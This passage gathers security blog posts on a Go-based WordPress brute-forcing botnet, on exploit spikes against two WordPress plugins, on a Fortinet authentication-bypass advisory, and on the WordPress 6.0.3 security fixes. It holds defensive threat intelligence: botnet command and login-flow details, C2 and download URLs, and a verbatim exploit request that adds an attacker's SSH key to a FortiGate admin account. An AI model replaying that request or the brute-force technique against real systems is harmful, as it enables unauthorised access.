  • 4: Validate provided credentials against Data Life Engine domains (currently not implemented)
  • 10: Detect WordPress, Joomla!, OpenCart, or Data Life Engine CMS installation on the domain
  • 11: Terminate the malware

We have observed a target list containing up to 30,000 domains in a single WordPress authentication command. Additionally, we observed that authentication commands only provide a single password to test against all the domains in the list. As mentioned above, brute forcing is likely distributed by commanding a network of infected machines to test different domains and credentials.

After the malware has completed processing a command, it sleeps for a while before sending another POST request to receive a new task from the C2 server.

Server Mode

In server mode, GoTrim starts a server on a random port between 4000 to 7999 to respond to incoming POST requests sent by the threat actor. This mode gives the threat actor a more responsive way of communicating with the bot. For instance, the status of the bots can be checked by the threat actor without waiting for the subsequent beacon request by simply sending a POST request to a specific URL handled by the bot’s HTTP server.

To issue a command to the machine, the threat actor sends a POST request to “/BOT_ID?lert=1” with the body containing the AES-256-GCM encrypted command data, similar to the response provided by the C2 server when the client requests commands (Figure 4). Server mode supports the same commands as client mode.

The threat actor can also send a request with the parameter “/BOT_ID?intval=1” to view the status of currently running tasks and whether assigned tasks have been completed.

When CPU utilization is below a certain level (75% or 90%, depending on the number of concurrent workers used for the current task), a separate goroutine is spawned to process each domain.

Botnet Commands

Detect CMS

GoTrim attempts to identify whether one of the four CMSes (WordPress, Joomla!, OpenCart, or DataLife Engine) is being used on the target website. It does this by checking for specific strings in the webpage content.

Interestingly, it only targets self-hosted WordPress websites by checking the Referer HTTP header for “wordpress.com”. As managed WordPress hosting providers, such as wordpress.com, usually implement more security measures to monitor, detect, and block brute forcing attempts than self-hosted WordPress websites, the chance of success is not worth the risk of getting discovered.

The strings used for determining the installed CMS are listed below.

WordPress

  • “wp-content/plugins/” and “wp-content/themes/”
  • “wp-content/uploads/”
  • “wp-includes/js/”
  • “/xmlrpc.php”

Joomla!

  • “generator” content=\”Joomla!” AND “/templates/”
  • “/media/system/js/mootools.js” AND “/media/system/js/caption.js”
  • “index.php?option=com_”
  • “/modules/mod_”
  • “/components/com_”

OpenCart

  • “/index.php?route=common” and “/index.php?route=information”
  • “image/cache/catalog”
  • “catalog/view/theme/”
  • “catalog/view/javascript”

DataLife Engine

  • “DataLife Engine” and “~engine/classes/js/dle_js.js”
  • “index.php?do=search&amp;”
  • “var dle_”

While GoTrim can detect websites using the four CMSes above, it currently only supports authenticating against WordPress and OpenCart websites. This indicates that this botnet is still under development.

Validate WordPress Credentials

Aside from the username provided by the C2 server, it attempts to gather more usernames by sending a GET request to “/wp-json/wp/v2/users”.

After that, it tries to log in to the WordPress website using the list of usernames and the password provided in the C2 command by sending a POST request to “/wp-login.php”. Figure 5 shows an example of the POST request for logging in.

Screenshot of Figure 5: WordPress authentication requestFigure 5: WordPress authentication request

This request causes a redirect to the admin page of the WordPress website (i.e.,/wp-admin) after a successful login. To confirm that the login and redirection were successful, it checks to see if the response contains “id=\”adminmenumain\”.

The C2 server can also specify the authentication to be performed via the WordPress XML-RPC feature, which is another way for users to programmatically interact with the CMS remotely using XML. By communicating directly with the web server’s backend, anti-bot mechanisms such as captchas that usually work when accessing the website pages could be bypassed.

After a successful login, the following information (delimited by “|”) is updated into a global status message and sent with the following request to the C2 (client mode) or in the response to incoming requests (server mode):

  • Target URL
  • Username
  • Password
  • Command ID (1 for WordPress, 3 for OpenCart, etc.)
  • Brute force status (“0GOOD” for success)

Validate OpenCart Credentials

GoTrim can also brute force websites running the open-source e-commerce platform OpenCart.

It sends a GET request to the target’s “/admin/index.php” and collects the authentication-related tokens and headers needed for the login request. It then performs the actual authentication by sending a POST request to the same URL with form-encoded data containing the username and the password.

To verify that the login request was successful, it checks if the website returned an OpenCart user token by searching for “/dashboard&user_token=” and making sure the “redirect” value from the received data is not empty.

A valid authentication response should look like the following:

{“redirect”:”https://example.com/opencart/admin/index.php?route=common/dashboard&user_token=USER_TOKEN_HASH”}

Upon successful login, the global status message is updated for WordPress brute-forcing.

Anti-bot Checks

GoTrim can detect anti-bot techniques used by web hosting providers and CDNs, such as Cloudflare and SiteGround, and evade some of their simpler checks.

It tries to mimic legitimate requests from Mozilla Firefox on 64bit Windows by using the same HTTP headers sent by the browser and supporting the same content encoding algorithms: gzip, deflate, and Brotli.

For WordPress websites, it also detects whether CAPTCHA plugins are installed.

  • Google reCAPTCHA
  • reCAPTCHA by BestWebSoft
  • WP Limit Login Attempts
  • Shield Security Captcha
  • All in One Security (AIOS) Captcha
  • JetPack Captcha
  • Captcha by BestWebSoft

The malware contains code to solve the CAPTCHA for some of these plugins. However, we need to verify if the bypass techniques work. We determined that it cannot bypass Google, WP Limit Login Attempts, and Shield Security’s CAPTCHAs.

In general, for the security plugins it cannot bypass, it only reports them to the C2 server by updating the global status message with information similar to the data it sends during a successful login. But it uses “3GOOD” for the brute force status to indicate that credential validation was skipped.

On encountering websites that contain the string “1gb.ru” within the page content, GoTrim also sends the same “3GOOD” brute force status. This appears to be a conscious decision to avoid targeting websites hosted by this provider, but the intent remains unclear.

Campaign Updates

While searching for other samples related to this campaign, we found a PHP script and binary from September 2022 with different URLs “/selects?param=1” and “/selects?walert=1” on C2 server 89[.]208[.]107[.]12 (Figure 6). The PHP script we detect as PHP/GoTrim!tr.dldr uses the same installation method, with only the download URL varying across the samples we gathered.

Screenshot of Figure 6: Code snippet from Sep 2022 version with different C2 serversFigure 6: Code snippet from Sep 2022 version with different C2 servers

A version of the binary that appeared in November 2022 also updated its HTTP POST URLs (Figure 7). The beacon request URL “/selects?dram=1” and the command request URL “/selects?bilert=1” have been changed to “/route?index=1” and “/route?alert=1”, respectively. The encryption algorithm and keys used in the data transmission remain the same.

Screenshot of Figure 7: Wireshark capture of POST requests from two versions of GoTrimFigure 7: Wireshark capture of POST requests from two versions of GoTrim

Conclusion

Although this malware is still a work in progress, the fact that it has a fully functional WordPress brute forcer combined with its anti-bot evasion techniques makes it a threat to watch for—especially with the immense popularity of the WordPress CMS, which powers millions of websites globally.

Brute-forcing campaigns are dangerous as they may lead to server compromise and malware deployment. To mitigate this risk, website administrators should ensure that user accounts (especially administrator accounts) use strong passwords. Keeping the CMS software and associated plugins up to date also reduces the risk of malware infection by exploiting unpatched vulnerabilities.

FortiGuard Labs will continue to monitor GoTrim’s development.

Fortinet Protections

The FortiGuard Antivirus service detects and blocks this threat as ELF/GoTrim!tr and PHP/GoTrim!tr.dldr.

The FortiGuard AntiVirus service is supported by FortiGateFortiMailFortiClient, and FortiEDR, and the Fortinet AntiVirus engine is a part of each of those solutions. Customers running current AntiVirus updates are protected.

FortiGuard Labs provides the GoTrim.Botnet IPS signature against GoTrim C2 activity.

The FortiGuard Web Filtering Service blocks the C2 servers and download URLs cited in this report.

FortiGuard IP Reputation and Anti-Botnet Security Service proactively block these attacks by aggregating malicious source IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative competitors, and other global sources that collaborate to provide up-to-date threat intelligence about hostile sources.

IOCs

Files

646ea89512e15fce61079d8f82302df5742e8e6e6c672a3726496281ad9bfd8a

4b6d8590a2db42eda26d017a119287698c5b0ed91dd54222893f7164e40cb508

c33e50c3be111c1401037cb42a0596a123347d5700cee8c42b2bd30cdf6b3be3

71453640ebf7cf8c640429a605ffbf56dfc91124c4a35c2ca6e5ac0223f77532

3188cbe5b60ed7c22c0ace143681b1c18f0e06658a314bdc4c7c4b8f77394729

80fba2dcc7ea2e8ded32e8f6c145cf011ceb821e57fee383c02d4c5eaf8bbe00

De85f1916d6102fcbaceb9cef988fca211a9ea74599bf5c97a92039ccf2da5f7

2a0397adb55436efa86d8569f78af0934b61f5b430fa00b49aa20a4994b73f4b

Download URLs

hxxp://77[.]73[.]133[.]99/taka

hxxp://77[.]73[.]133[.]99/trester

hxxp://77[.]73[.]133[.]99/pause

C2

hxxp://77[.]73[.]133[.]99

hxxp://77[.]73[.]133[.]99/selects?dram=1

hxxp://77[.]73[.]133[.]99/selects?bilert=1

hxxp://77[.]73[.]133[.]99/route?index=1

hxxp://77[.]73[.]133[.]99/route?alert=1

hxxp://89[.]208[.]107[.]12

hxxp://89[.]208[.]107[.]12/selects?param=1

hxxp://89[.]208[.]107[.]12/selects?walert=1

Source :
https://www.fortinet.com/blog/threat-research/gotrim-go-based-botnet-actively-brute-forces-wordpress-websites

Spikes in Attacks Serve as a Reminder to Update Plugins

The Wordfence Threat Intelligence team continually monitors trends in the attack data we collect. Occasionally an unusual trend will arise from this data, and we have spotted one such trend standing out over the Thanksgiving holiday in the U.S. and the first weekend in December. Attack attempts have spiked for vulnerabilities in two plugins.

The larger spikes have been from attempts to exploit an arbitrary file upload vulnerability in Kaswara Modern VC Addons <= version 3.0.1, for which a rule was added to the Wordfence firewall and available to Wordfence PremiumWordfence Care, and Wordfence Response users on April 21, 2021 and released to users of Wordfence Free on May 21, 2021. The other vulnerability is an arbitrary file upload and arbitrary file deletion vulnerability in the Adning Advertising plugin with versions <= 1.5.5, with our firewall rule being added on June 25, 2020 and made available to free users on July 25, 2020.

Kaswara and Adning exploit attempts per day

One thing that makes these spikes interesting is the fact that they are occurring over holidays and weekends. The first spike began on November 24, 2022, which was the Thanksgiving holiday in the United States. This spike lasted for three days. The second spike looked a little different, starting on Saturday, December 3, 2022, dropping on Sunday, and finishing with its peak on Monday. These spikes serve as an important reminder that malicious actors are aware that website administrators are not paying as close attention to their sites on holidays and weekends. This makes holidays and weekends a desirable time for attacks to be attempted.

During these spikes, exploit attempts have been observed against the Kaswara vulnerability on 1,969,494 websites, and on 1,075,458 sites against the Adning vulnerability. In contrast, the normal volume of sites with exploit attempts being blocked is an average of 256,700 for the Kaswara vulnerability, and 374,801 for the Adning vulnerability.

Kaswara and Adning sites comparison with spikes

The Kaswara Modern VC Addons plugin had more than 10,000 installations at the time the vulnerability was disclosed on April 21, 2021, and has since been closed without a patch being released. As long as this plugin is installed, it leaves the site vulnerable to attacks that make it possible for unauthenticated attackers upload malicious files that could ultimately lead to a full site takeover due to the fact that the ability to upload PHP files to servers hosting WordPress makes remote code execution possible. Any WordPress website administrators who are still using the plugin should immediately remove the plugin and replace it with a suitable alternative if the functionality is still required for the site, even if you are protected by the Wordfence firewall, as the plugin has not been maintained and may contain other issues. We estimate that about 8,000 WordPress users are still impacted by a vulnerable version, making them an easy target.

The Adning Advertising plugin had more than 8,000 users when our Threat Intelligence team performed our initial investigation of vulnerability on June 24, 2020. After some analysis, we found two vulnerabilities in the plugin, one that would allow an unauthenticated attacker to upload arbitrary files, also leading to easy site takeover. We also found an unauthenticated arbitrary file deletion vulnerability that could just as easily be used for complete site compromise by deleting the wp-config.php file. After we notified the plugin’s author of the vulnerabilities, they quickly worked to release a patched version within 24 hours. Any users of the Adning Advertising plugin should immediately update to the latest version, currently 1.6.3, but version 1.5.6 is the minimum version that includes the patch. We estimate that about 680 WordPress users are still impacted by a vulnerable version of this plugin.

The key takeaway from these attack attempts is to make sure your website components are kept up to date with the latest security updates. When a theme or plugin, or even the WordPress core, has an update available, it should be updated as soon as safely possible for the website. Leaving unpatched vulnerabilities on the website opens a website up to possible attack.

Cyber Observables

The following are the common observables we have logged in these exploit attempts. If any of these are observed on a website or in logs, it is an indication that one of these vulnerabilities has been exploited. The IP addresses listed are specifically from the spikes we have seen over the Thanksgiving holiday and the first weekend in December.

Kaswara

Top ten IPs
  • 40.87.107.73
  • 65.109.128.42
  • 65.21.155.174
  • 65.108.251.64
  • 5.75.244.31
  • 65.109.137.44
  • 65.21.247.31
  • 49.12.184.76
  • 5.75.252.228
  • 5.75.252.229
Common Uploaded Filenames

There were quite a few variations of randomly named six-letter filenames, two are referenced below, but each one observed used the .zip extension.

  • a57bze8931.zip
  • bala.zip
  • jwoqrj.zip
  • kity.zip
  • nkhnhf.zip
Top Ten User-Agent Strings
  • Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
  • Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36 X-Middleton/1
  • Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
  • Amazon CloudFront
  • Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
  • Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36
  • Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
  • Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
  • Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
  • Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36

Adning

Top Ten IPs
  • 65.109.128.42
  • 65.108.251.64
  • 65.21.155.174
  • 5.75.244.31
  • 65.109.137.44
  • 65.21.247.31
  • 5.75.252.229
  • 65.109.138.122
  • 40.87.107.73
  • 49.12.184.76
Common Uploaded Filenames

Most observed exploit attempts against the Adning plugin appeared to be nothing more than probing for the vulnerability, but in one instance the following filename was observed as a payload.

  • files
Top Ten User-Agent Strings
  • python-requests/2.28.1
  • Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
  • Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
  • Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
  • python-requests/2.28.1 X-Middleton/1
  • python-requests/2.26.0
  • python-requests/2.27.1
  • Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; @longcat) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
  • Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36 X-Middleton/1
  • ALittle Client
Conclusion

In this post we discussed two vulnerabilities that have spiked over the past two weekends. Removing or updating vulnerable plugins is always the best solution, but a Web Application Firewall like the one provided by Wordfence is important to block exploit attempts and can even protect your site from attacks targeting unknown vulnerabilities. The Wordfence firewall protects all Wordfence users, including Wordfence FreeWordfence PremiumWordfence Care, and Wordfence Response, against these vulnerabilities. Even with this protection in place, these vulnerabilities are serious as they can lead to full site takeover, and the Kaswara Modern VC Addons should be immediately removed, and the Adning Advertising plugin should immediately be updated.

Source :
https://www.wordfence.com/blog/2022/12/spikes-in-attacks-serve-as-a-reminder-to-update-plugins/

Threat Advisory: CVE-2022-40684 Fortinet Appliance Auth bypass

This morning, the Wordfence Threat Intelligence team began tracking exploit attempts targeting CVE-2022-40684 on our network of over 4 million protected websites. CVE-2022-40684 is a critical authentication bypass vulnerability in the administrative interface of Fortinet’s FortiGate firewalls, FortiProxy web proxies, and FortiSwitch Manager, and is being actively exploited in the wild¹,².

At the time of publishing, we have recorded several exploit attempts and requests originating from the following IP addresses:

  • 206.189.231.41
  • 172.105.131.156
  • 45.79.174.33
  • 143.110.215.248
  • 159.180.168.61
  • 194.195.241.147
  • 45.79.174.9
  • 45.79.174.160
  • 134.122.38.186
  • 104.244.77.122
  • 45.79.174.212
  • 2.58.82.81
  • 194.163.135.129
  • 173.212.205.42
  • 172.104.6.178
  • 38.242.217.243
  • 194.135.83.48
  • 134.122.44.177
  • 207.180.241.85
  • 75.128.217.136
  • 107.189.4.80

Most of the requests we have observed are GET requests presumably trying to determine whether a Fortinet appliance is in place:

GET /api/v2/cmdb/system/admin/admin HTTP/1.1
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
X-Forwarded-Proto: https
X-Forwarded-Ssl: on
X-Forwarded-For: 75.128.217.136
Host: <redacted>
Content-Type: application/x-www-form-urlencoded

However, we also found that a number of these IPs are also sending out PUT requests matching the recently released proof of concept, referenced at the end of this advisory, which attempts to update the public SSH key of the admin user:

PUT /api/v2/cmdb/system/admin/admin HTTP/1.1
X-Forwarded-For: 172.104.6.178
Accept-Encoding: gzip
Forwarded: for=[127.0.0.1]:8000;by=[127.0.0.1]:9000;
Connection: close
User-Agent: Report Runner
Host: <redacted>
Content-Type: application/json
Content-Length: 610


{
"Ssh-public-key1":"\"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58= dev@devs-MacBook-Pro.local\""
}

While some requests are using a fake public key, which may indicate a benign vulnerability scanner, all of the requests using a valid public key are using the same public key, indicating that these requests are all the work of the same actor. An attacker able to update or add a valid public SSH key to a user’s account on a system can then typically gain access to that system as that user if they have the corresponding private key. In this case the attacker is attempting to add their own public key to the admin user’s account.

The SSH key has the following fingerprint: SHA256:GBl4Pytt+W2yEZ3zlOkAZkgtqmTPBcEZlqK4hoNOqBU dev@devs-MacBook-Pro.local (RSA)

All of the PUT exploit attempts we have seen are using the “Report Runner” User-Agent as this is a requirement of the exploit, though the exploit may also be viable with the User-Agent set to “Node.js”.

New IP Addresses attacking CVE-2022-40684 will appear on the Wordfence Intelligence IP Threat Feed in the “auth_bypass” category as the feed is updated every 60 minutes.

1. Fortinet released an advisory with additional information, including affected products and workarounds for users unable to patch.
2. Horizon3.ai initially discovered that the vulnerability was being exploited in the wild and released a proof of concept earlier today.

Source :
https://www.wordfence.com/blog/2022/10/threat-advisory-cve-2022-40684-fortinet-appliance-auth-bypass/

Patch Now: The WordPress 6.0.3 Security Update Contains Important Fixes

The WordPress 6.0.3 Security Update contains patches for a large number of vulnerabilities, most of which are low in severity or require a highly privileged user account or additional vulnerable code in order to exploit.

As with every WordPress core release containing security fixes, the Wordfence Threat Intelligence team analyzed the code changes in detail to evaluate the impact of these vulnerabilities on our customers, and to ensure our customers remain protected.

The Wordfence Firewall provides protection from the majority of these vulnerabilities, and most sites should have been updated to the patched version automatically. Nonetheless, we strongly recommend updating your site as soon as possible, if it has not automatically been updated.

Vulnerability Analysis

We have determined that these vulnerabilities are unlikely to be seen as mass exploits but several of them could offer a way for skilled attackers to exploit high-value sites using targeted attacks.

Description: Authenticated (Contributor+) Stored Cross-Site Scripting via RSS Widget/Block
Affected Versions: WordPress Core < 6.0.3 & Gutenberg < 14.3.1
Researcher:  N/A
CVE ID: Pending
CVSS Score: 6.4(Medium)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54543

WordPress allows any user that can edit posts, such as Contributors, to add a block linking to an RSS feed. While the contents of any feed imported this way are escaped, errors in retrieving the feed would be displayed on the page containing the feed. These included the error status code and content-type header. This means that a contributor-level attacker could create a page on a site they controlled that returned an error code and a malicious script in the Content-Type response header. They could then add a post containing an RSS block linking to their malicious “feed” and submit it for review. When an administrator previewed the post, the malicious script in the Content-Type header would be executed in their browser.

Unfortunately it is not possible to write a firewall rule to protect against this vulnerability as it could potentially be exploited without sending any requests to the victim site. A motivated attacker could look for existing RSS feeds on a site and attempt to compromise one of the sites those feeds were generated from. Such an attacker could potentially take over multiple sites using a single malicious RSS feed.


Description: Authenticated Stored Cross-Site Scripting via Search Block
Affected Versions: WordPress Core < 6.0.3 & Gutenberg < 14.3.1
Researcher: Alex Concha
CVE ID: Pending
CVSS Score: 6.4(Medium)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54543

It is possible for users that can edit posts to inject malicious JavaScript via the Search Block’s Text color and Background color attributes. Doing so requires bypassing the filtering provided by the safecss_filter_attr function and is not trivial.


Description: Authenticated Stored Cross-Site Scripting via Featured Image Block
Affected Versions: WordPress Core < 6.0.3 & Gutenberg < 14.3.1
Researcher: N/A
CVE ID: Pending
CVSS Score: 6.4(Medium)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54543

It is possible for users that can edit posts to inject malicious JavaScript via the Featured Image block. Doing so requires bypassing the filtering provided by the safecss_filter_attr function and is not trivial. A similar issue also appears to have been patched in the Navigation block, though it was not announced and may not be exploitable.


Description: Authenticated (Admin+) Stored Cross-Site Scripting in Widget Block
Affected Versions: WordPress Core < 6.0.3 & Gutenberg < 14.3.1
Researcher: Alex Concha
CVE ID: Pending
CVSS Score: 4.8(Medium)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54543

It is possible for administrator-level users to inject malicious JavaScript via the Widget Group title attribute. This is unlikely to be exploited as administrator-level users typically have a number of other ways to add arbitrary scripts to a website.


Description: Stored XSS via wp-mail.php
Affected Versions: WordPress Core < 6.0.3
Researcher: Toshitsugu Yoneyama of Mitsui Bussan Secure Directions, Inc. via JPCERT
CVE ID: Pending
CVSS Score: 7.2(High)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54531

In WordPress, site owners have the ability to create posts by sending emails to the target WordPress site. These requests are processed through the /wp-mail.php file which uses wp_insert_post to add the emailed post to the target website. This functionality didn’t check what level the user was sending the request and therefore did not perform any sanitization on the submitted post data. This meant that users without the unfiltered_html capability, with access to submitting posts via email, could inject malicious JavaScript into posts that would execute whenever someone accessed the post. WordPress now sets any user submitting a post via email to the user ID of 0 which will ensure that all posts pass through wp_kses. This feature is disabled by default, so most installations likely are not vulnerable.


Description: Authenticated (Admin+) Stored Cross-Site Scripting via Customizer
Affected Versions: WordPress Core < 6.0.3
Researcher: Alex Concha
CVE ID: Pending
CVSS Score: 5.5(Medium)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54536/

It is possible for administrator-level users to add malicious JavaScript to the Blog Name via the Customizer that will execute in the browser of any site visitor. This is unlikely to be exploited as administrator-level users typically have a number of other ways to add arbitrary scripts to a website.


Description: Authenticated (Editor+) Stored Cross-Site Scripting via Comment Editing
Affected Versions: WordPress Core < 6.0.3
Researcher: Alex Concha
CVE ID: Pending
CVSS Score: 5.5(Medium)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N
Fully Patched Version: 6.0.3
Changesethttps://core.trac.wordpress.org/changeset/54537

It is possible for users with the unfiltered_html capability, including administrators and editors, to add malicious JavaScript to existing comments using the comment editor. This is unlikely to be exploited as administrator-level users typically have a number of other ways to add arbitrary scripts to a website.


Description: Reflected Cross-Site Scripting via SQL Injection in Media Library
Affected Versions: WordPress Core < 6.0.3
Researcher: Ben Bidner & Marc Montpas
CVE ID: Pending
CVSS Score: 8.8(High)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Fully Patched Version: 6.0.3
Changesethttps://core.trac.wordpress.org/changeset/54534

It is possible to craft a search query via the media library that results in a malicious JavaScript being echoed out onto the page. As it is possible to generate a link to the media library with the search query pre-populated via the s parameter, this can be used to perform a reflected Cross-Site Scripting(XSS) attack. While this would require social engineering to exploit and crafting an appropriate payload is nontrivial, the attacker does not need to be authenticated, making this potentially the most exploitable vulnerability patched in this release. We may update our assessment if a proof of concept becomes available.


Description: SQL Injection via WP_Date_Query
Affected Versions: WordPress Core < 6.0.3
Researcher: Michael Mazzolini
CVE ID: Pending
CVSS Score: 8.8(High)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54540

The sanitize_query function used in the WP_Date_Query  class failed to sanitize all relations where it was expecting “AND” or “OR” in the query. It is possible that a third-party plugin or theme might perform a date query in an unsafe way that resulted in SQL injection, though WordPress core is not vulnerable itself. This is similar to the fixes released back in version 5.8.3.


Description: Cross-Site Request Forgery via wp-trackback.php
Affected Versions: WordPress Core < 6.0.3
Researcher: Simon Scannell
CVE ID: Pending
CVSS Score: 8.8(High)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54525

Similar to the above XSS via wp-mail.php, the Trackback functionality of WordPress did not explicitly state the intended user identity which means that any request to wp-trackback.php would assume the identity of the user whose cookies are sent with the request. This would make it possible for an unauthenticated user to trigger a trackback assuming the identity of another user, granted they could trick that other user into performing the action. In new versions of WordPress, the identity will always be a non-existent user with the ID of 0, which represents an unauthenticated user.


Description: Shared User Instance Weakness
Affected Versions: WordPress Core < 6.0.3
Researcher: Alex Concha & Ben Bidner
CVE ID: Pending
CVSS Score: 3.7(Low)
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54544

This fix appears to have been necessary to safely use the wp_set_current_user( 0 ); method to patch the previously mentioned XSS and CSRF in wp-mail.php and wp-trackback.php vulnerabilities. The previous functionality may have resulted in third party plugins or themes using the wp_set_current_user function in a way that could lead to privilege escalation and users being able to perform more actions than originally intended. We may update our assessment if a proof of concept becomes available.


Description: Post Author Email Disclosure via wp-mail.php
Affected Versions: WordPress Core < 6.0.3
Researcher: devrayn
CVE ID: Pending
CVSS Score: 5.3 (Medium)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54523

The post by email functionality has the ability to enable logging. This can contain a post author’s email address which can be considered sensitive information and has the potential to be publicly accessible. This feature is disabled by default, so most installations likely are not vulnerable.


Description: Data Exposure via the REST Terms/Tags Endpoint
Affected Versions: WordPress Core < 6.0.3
Researcher: Than Taintor
CVE ID: Pending
CVSS Score: 4.3(Medium)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54538

The REST API endpoint for terms and tags did not perform enough validation on the user requesting information about terms and tags for a given post. This made it possible for users with access to terms and tags, such as a contributor, to determine those details on all posts not belonging to them, even when in a private status. This does not reveal critical information, and as such it is not likely to be exploited.


Description: Information Disclosure via Multi-Part Email Content Leakage in wp-mail.php
Affected Versions: WordPress Core < 6.0.3
Researcher: Thomas Kräftner
CVE ID: Pending
CVSS Score: 3.7(Low)
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54539

In cases where wp-mail was used to send multiple emails or multi-part emails within a single request, the email altBody (frequently used to provide a text alternative to HTML-formatted emails) was not cleared between messages, which could result in users receiving message contents intended for other recipients. While this would require a plugin configured to send multiple messages with altBody text and would be almost impossible to exploit on purpose, it could still lead to exposure of highly sensitive information.


Description: Open Redirect via wp_nonce_ays
Affected Versions: WordPress Core < 6.0.3
Researcher: devrayn
CVE ID: Pending
CVSS Score: 4.7(Medium)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N
Fully Patched Version: 6.0.3
Changeset: https://core.trac.wordpress.org/changeset/54532

It was possible to generate a link with an invalid nonce and the _wp_http_referer query string parameter set to an external site. If an attacker was able to trick a logged-in user into clicking on the crafted link, they would be redirected to the external site.

Conclusion

